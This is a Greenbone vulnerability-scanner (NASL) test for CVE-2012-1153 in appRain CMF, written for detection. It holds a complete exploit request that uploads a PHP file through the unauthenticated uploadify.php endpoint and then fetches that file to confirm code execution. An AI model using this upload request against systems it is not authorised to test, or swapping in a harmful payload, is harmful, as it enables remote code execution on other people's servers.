appRain CMF 'uploadify.php' Remote Arbitrary File Upload Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103395");
  script_cve_id("CVE-2012-1153");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_name("appRain CMF 'uploadify.php' Remote Arbitrary File Upload Vulnerability");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/51576");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2012-01-23 11:04:51 +0100 (Mon, 23 Jan 2012)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"appRain CMF is prone to an arbitrary-file-upload vulnerability because
  the application fails to adequately sanitize user-supplied input.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to upload arbitrary files to the
  affected server, this can result in arbitrary code execution within
  the context of the vulnerable application.");

  script_tag(name:"affected", value:"appRain CMF 0.1.5 and prior versions are vulnerable.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options are
  to upgrade to a newer release, disable respective features, remove the product or replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");
include("misc_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

host = http_host_name( port:port );

foreach dir( make_list_unique( "/apprain", "/cms", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  buf = http_get_cache( item:dir + "/admin/system", port:port );

  if( "Start with appRain" >< buf ) {

    vtstrings = get_vt_strings();
    file = vtstrings["lowercase_rand"] + ".php";
    ex ="<?php phpinfo();?>";
    len = 110 + strlen(ex);

    req = string("POST ", dir, "/webroot/addons/uploadify/uploadify.php HTTP/1.0\r\n",
     "Host: ", host, "\r\n",
     "Content-Length: ", len, "\r\n",
     "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n",
     "Connection: close\r\n",
     "\r\n",
     "--o0oOo0o\r\n",
     'Content-Disposition: form-data; name="Filedata"; filename="',file,'"',"\r\n",
     "\r\n",
     ex,"\r\n",
     "--o0oOo0o--\r\n\r\n");
    result = http_keepalive_send_recv( port:port, data:req, bodyonly:FALSE );
    if( file >!< result ) continue;

    url = dir + "/addons/uploadify/uploads/" + file;
    if( http_vuln_check( port:port, url:url, pattern:"<title>phpinfo\(\)" ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    }
  }
}

exit( 99 );